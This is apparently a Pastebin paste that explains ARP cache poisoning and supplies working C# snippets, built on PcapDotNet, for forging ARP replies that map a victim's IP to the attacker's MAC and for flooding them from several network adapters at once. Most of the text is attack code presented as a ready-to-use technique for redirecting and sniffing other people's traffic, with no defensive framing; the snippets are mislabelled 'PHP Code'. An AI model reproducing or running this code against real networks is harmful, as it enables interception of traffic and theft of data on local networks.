FineNerds

ARP Poisoning w/Snippets

May 27th, 2015
489
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 2.72 KB | None | 0 0
  1. Before we begin lets remind ourself what the ARP Cache is. An ARP Cache is simply a table that stores a table of MAC addresses to IP addresses. Think of it as a C# Dictionary<IPAddress,PhysicalAddress>. Most devices on a network are resolved into dynamic ARP entries. Meaning that every time a new ARP reply comes the ARP cache removes the old Key Value pair and updates the table with the new info.
  2. Therefore my forging a ARP reply with the wrong Mac address, but the right IP address we can forward all the data that is being sent to the Ip address to our machine, where a simple network sniffer could detect the incoming packets.
  3. Now lets take a look at the code.
  4.  
  5. PHP Code:
  6. public static Packet BuildPoisonedARPPacket(DeviceInfo attacker, DeviceInfo device, DeviceInfo router)
  7.         {
  8.             EthernetLayer ethernetLayer =
  9.                 new EthernetLayer
  10.                 {
  11.                     Source = new MacAddress(attacker.MACAddress.ToMACAddress()),
  12.                     Destination = new MacAddress(router.MACAddress.ToMACAddress()),
  13.                     EtherType = EthernetType.Arp,
  14.                 };
  15.  
  16.             ArpLayer arpLayer =
  17.                 new ArpLayer
  18.                 {
  19.                     ProtocolType = EthernetType.IpV4,
  20.                     Operation = ArpOperation.Reply,
  21.  
  22.                     SenderHardwareAddress = attacker.MACAddress.GetAddressBytes().ToList().AsReadOnly(),
  23.                     SenderProtocolAddress = device.IPAddress.GetAddressBytes().ToList().AsReadOnly(),
  24.                     TargetHardwareAddress = router.MACAddress.GetAddressBytes().ToList().AsReadOnly(),
  25.                     TargetProtocolAddress = router.IPAddress.GetAddressBytes().ToList().AsReadOnly(),
  26.                 };
  27.  
  28.             PacketBuilder builder = new PacketBuilder(ethernetLayer, arpLayer);
  29.  
  30.             return builder.Build(DateTime.Now);
  31.         }
  32.  
  33. We are using PCapDotNet to forge our ARP replys. We then can send this packet through a mulitple live devices like so.
  34.  
  35. PHP Code:
  36. public void QuickDropFromDevices(int timeInMilliseconds)
  37.         {
  38.             Stopwatch watch = Stopwatch.StartNew();
  39.             Parallel.ForEach(this.CommunicatorInterfaceDevices, (device) =>
  40.                 {
  41.                     while (watch.ElapsedMilliseconds < timeInMilliseconds)
  42.                     {
  43.                         foreach (var item in this.Packet)
  44.                         {
  45.                             device.SendPacket(item);
  46.                         }
  47.                     }
  48.                     Thread.Sleep(this.MillisecondTimeoutBetweenPacketDrops);
  49.                 });
  50.         }
  51.  
  52. I used parallel code to ensure that the packets could be dropped from one network adapter independent from any other.
Advertisement
Add Comment
Please, Sign In to add comment